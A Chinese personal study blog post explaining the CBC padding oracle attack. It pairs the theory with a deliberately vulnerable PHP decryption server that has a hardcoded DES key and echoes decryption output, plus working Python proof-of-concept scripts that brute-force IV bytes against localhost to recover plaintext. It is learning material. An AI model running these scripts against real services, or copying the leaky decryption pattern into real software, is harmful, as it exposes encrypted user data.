一、前引
最近惡補各種加解密。。把之前學的筆記放一放,本來還想放放自己的rsa筆記,不過這裏有一份更好的了,我自己的就不拿出來了。
flappypig rsa:http://bobao.360.cn/learning/detail/3058.html?from=groupmessage&isappinstalled=0
另外這個oj https://www.jarvisoj.com上加上sctf2016都有比較典型的rsa的題目,比較好練手。
另外有個推薦的博客http://bluereader.org/rss/12594/p-1,這個是比較系統的講了rsa,很不錯,理論比上面flappypig那個講的詳細些,邏輯性更強,要是flappypig的暫時看不懂的話可以先看這個再去看那個。
1.1 四種分組加密方式及padding
http://www.cnblogs.com/happyhippy/archive/2006/12/23/601353.html
簡單總結下:
其中提到填充方法,以分組8個字節爲例:需要填充n個字節,則n個字節都填充0x0n。如果恰好全滿,填充8個0x08組成新塊。OFB和CFB不需要填充。
如下分組,產生密文我們在反解的時候,注意到最後一個分組的末尾的數值爲0×04,即表示填充了4個Padding。如果最後的Padding不正確(值和數量不一致),則解密程序往往會拋出異常(Padding Error)。而利用應用的錯誤回顯,我們就可以判斷出Paddig是否正確。
而這個類似二分盲注的思想,因爲明文是看不到的,但是明文解密失敗是會有反應的。比如在web應用中,如果Padding不正確,則應用程序很可能會返回500的錯誤(程序執行錯誤);如果Padding正確,但解密出來的內容不正確,則可能會返回200的自定義錯誤(這只是業務上的規定),所以,這種區別就可以成爲一個二值邏輯的“注入點”。
明文分組和填充就是Padding Oracle Attack
的根源所在。但是這些需要一個前提,那就是應用程序對異常的處理。當提交的加密後的數據中出現錯誤的填充信息時,不夠健壯的應用程序解密時報錯。
所以攻擊成立兩個重要的前提
攻擊者能夠獲得密文(Ciphertext),以及附帶在密文前面的IV(初始化向量)
攻擊者能夠觸發密文的解密過程,且能夠知道密文的解密結果
1.2 猜解明文
根據之前的分析,padding只可能有以下幾種情況:
1個字節的Padding爲0x01
2個字節的Padding爲0x02
3個字節的Padding爲0x03
4個字節的Padding爲0x04
5個字節的Padding爲0x05
6個字節的Padding爲0x06
7個字節的Padding爲0x07
8個字節的Padding爲0x08(當原始的明文正好是分組的整數倍的時候,Padding一個整組的填充值)
cbc解密模式圖如下:
我們接下來要利用選擇密文攻擊的思想,不斷調整,修正IV。來對Intermediary Value進行猜測。
1.2.1 padding 0x01
我們不斷地調整IV的值,以希望解密後,最後一個字節的值爲正確的Padding Byte,這裏是0×01。因爲Intermediary Value
是固定的(我們此時不知道Intermediary Value
),因此從0×00~0xFF之間,只可能有一個IV的值與Intermediary Value
的最後一個字節進行XOR後,結果是0×01( 因爲0×01只有最後1bit爲1,其他都是0,所以根據XOR的性質,只能存在一個值能XOR得到0×01)。攻擊者通過遍歷這255個值,可以找出IV需要的最後一個字節。
即我們可以控制iv,然後我們能夠知道原本正確的iv是啥,然後我們只需要構造iv使得明文解出來是0x01就行了,這樣就推到了中間值,加上我們知道正確的iv,異或一下就能夠得到第一組明文的最後一個字節的了:
Intermediary Value ^ iv = 0x01
這個iv是我們通過嘗試不斷構造的,這樣子推出了Intermediary Value,那麼之前說了我們掌握了真正的iv,這樣子就能夠知道最終的明文了
1.2.2 padding 0x02
通過上述操作我們能夠知道第一個字節,假設爲0x??
,因此可以”更新”IV(攻擊者輸入的IV)的第8個字節爲0x?? ^ 0x02
,然後開始隨機構造iv的倒數第二個字節,直至解密出來的第一個分組的倒數第二個字節爲0x02,此時的iv異或上0x02之後再和正確iv的倒數第二個字節異或,即可得到明文的第一分組的倒數第二個字節。
至於padding 0x03,0x04…..就不再贅述了。
二、測試代碼
這裏我自己寫了個簡單的服務器測試了下,寫的比較挫,只是幫助自己更好的理解下原理。。然後自己寫了poc。寫的非常難看,大家將就着看,另外把自己的草稿也保留在其中了。
服務端代碼:
<?php
$string = 'bendawang';
$key = '12345678';
$cipher = MCRYPT_DES;
$modes = MCRYPT_MODE_CBC;
/*
#cipher:01af3d443c84ae0d859755ee9b3e2933
#iv:38b740ea94706e9b
$iv=hex2bin("38b740ea94706e9b");
#iv=hex2bin($_GET['$iv']);
#$iv=mcrypt_create_iv(mcrypt_get_iv_size($cipher,$modes),MCRYPT_RAND);
#$str=hex2bin($_GET['str']);
$encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);
$decode=mcrypt_decrypt($cipher,$key,$encode,$modes,$iv);
echo bin2hex($iv)."</br>";
echo bin2hex($encode)."</br>";
echo $decode."</br>";
*/
if(isset($_GET['iv'])&&isset($_GET['str'])){
$iv=hex2bin($_GET['iv']);
#echo $iv;
$str=hex2bin($_GET['str']);
$decode=mcrypt_decrypt($cipher,$key,$str,$modes,$iv);
#echo bin2hex($iv)."br>";
#echo bin2hex($encode)."br>";
echo bin2hex($decode);
$temp=bin2hex($decode);
}
else{
$iv=hex2bin("38b740ea94706e9b");
$encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);
echo "the iv is <h2>".bin2hex($iv)."</h2><br>";
echo "the cipher is <h2>".bin2hex($encode)."</h2><br>";
}
?>
然後是攻擊測試代碼:
#!/usr/bin/env python
# encoding: utf-8
import requests
r=requests.session()
url="http://127.0.0.1/test.php"
tmp="0000000000000000"
str1="01af3d443c84ae0d859755ee9b3e2933"
iv="38b740ea94706e9b"
ans=[]
param={"iv":iv,"str":"01af3d443c84ae0d859755ee9b3e2933"}
result=r.get(url,params=param)
string1=result.content
lastbyte=[]
lastmedium=[]
for k in xrange(len(string1)/16):
ans.append("");
for j in xrange(8):
for i in xrange(256):
if i<16:
tmp=tmp[0:2*(7-j)]+("0"+str(hex(i)[2]))+tmp[2*(7-j)+2:]
t=j
#print lastbyte
#print t
while t>0 and lastbyte!=[]:
if lastbyte[t-1]<16:
tmp=tmp[0:2*(7-t+1)]+"0"+str(hex(lastbyte[t-1]))[2]+tmp[2*(7-t+1)+2:]
else:
tmp=tmp[0:2*(7-t+1)]+str(hex(lastbyte[t-1]))[2:4]+tmp[2*(7-t+1)+2:]
t-=1
else:
tmp=tmp[0:2*(7-j)]+str(hex(i)[2:4])+tmp[2*(7-j)+2:]
t=j
#print lastbyte
#print t
while t>0 and lastbyte!=[]:
if lastbyte[t-1]<16:
tmp=tmp[0:2*(7-t+1)]+"0"+str(hex(lastbyte[t-1]))[2]+tmp[2*(7-t+1)+2:]
else:
tmp=tmp[0:2*(7-t+1)]+str(hex(lastbyte[t-1]))[2:4]+tmp[2*(7-t+1)+2:]
t-=1
#print tmp
#print i,tmp
param={"iv":tmp,"str":str1[16*k:16*(k+1)]}
result=r.get(url,params=param)
string=result.content
#print param
#print "0"+str(hex(j+1)[2])
#print len(str1[16*k:16*(k+1)] )
#print str1[16*k:16*(k+1)]
#print string
#print iv
#print string[2*(7-j):2*(7-j)+2],"0"+str(hex(j+1)[2])
if string[2*(7-j):2*(7-j)+2] == "0"+str(hex(j+1)[2]):
print tmp
print string
medium=eval("0x"+iv[2*(7-j):2*(7-j)+2])
myiv=eval("0x"+tmp[2*(7-j):2*(7-j)+2])
time=eval(hex(j+1))
lastmedium.append(myiv^time)
#print hex(medium),hex(myiv),hex(time)
#lastbyte.append(myiv^eval(hex(j+2))^time)
lastbyte=lastmedium[:]
#print lastbyte
for l in xrange(len(lastbyte)):
lastbyte[l]=lastmedium[l]^eval(hex(j+2))
print lastmedium
print lastbyte
#print tmp
#print hex(lastbyte)
ans[k]+=chr(medium^time^myiv)
print ans
break
#if k!=0:
#a=raw_input()
print "\r\nthe answer is : ",ans[k][::-1],"\r\n"
iv=str1[k*16:(k+1)*16]
lastbyte=[]
lastmedium=[]
#print "iv:",iv
tmp="0000000000000000"
print "-------------------------------------------------\r\n"
for i in xrange(len(ans)):
print "the "+str(i+1)+"th block is : "+ans[i][::-1]
#!/usr/bin/env python
# encoding: utf-8
#僅猜解第一個分組,後續理解原理就一樣的類似
import requests
r=requests.session()
url="http://127.0.0.1/test.php"
tmp="0000000000000000"
iv="38b740ea94706e9b"
ans=""
for j in xrange(8):
for i in xrange(256):
if i<16:
tmp=tmp[0:2*(7-j)]+("0"+str(hex(i)[2]))+tmp[2*(7-j)+2:]
else:
tmp=tmp[0:2*(7-j)]+str(hex(i)[2:4])+tmp[2*(7-j)+2:]
#print tmp
param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"}
result=r.get(url,params=param)
string=result.content
if string[2*(7-j):2*(7-j)+2] == "0"+str(hex(j+1)[2]):
#print tmp
#print string
medium=eval("0x"+iv[2*(7-j):2*(7-j)+2])
myiv=eval("0x"+tmp[2*(7-j):2*(7-j)+2])
time=eval(hex(j+1))
#print hex(medium),hex(myiv),hex(time)
ans+=chr(medium^time^myiv)
print ans
break
#a=raw_input()
print "---------------------------\r\nanswer is : ",ans[::-1]
'''
#猜解第一個分組的第二個字節
for i in xrange(256):
if i<16:
tmp="000000000000"+("0"+str(hex(i)[2]))+"F8"
else:
tmp="000000000000"+str(hex(i)[2:4])+"F8"
#print tmp[14:16]
param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"}
result=r.get(url,params=param)
string=result.content
if string[12:14]=="02":
print "done!"
print tmp
print string
print chr(eval("0x"+tmp[12:14])^0x02^0x6E)
break
'''
'''
#猜解第一個分組的第一個字節
import requests
r=requests.session()
url="http://127.0.0.1/test.php"
for i in xrange(256):
if i<16:
tmp="00000000000000"+("0"+str(hex(i)[2]))
else:
tmp="00000000000000"+str(hex(i)[2:4])
print tmp[14:16]
param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"}
result=r.get(url,params=param)
string=result.content
if string[14:16]=="01":
print "done!"
print tmp
print string
print chr(eval("0x"+tmp[14:16])^0x01^0x9b)
break
'''
三、通用poc
最後也給上了寫的比較好的通用poc,一份github的代碼,這個是我用了幾個之後覺得算是最好的一份了。
https://github.com/mpgn/Padding-oracle-attack/blob/master/exploit.py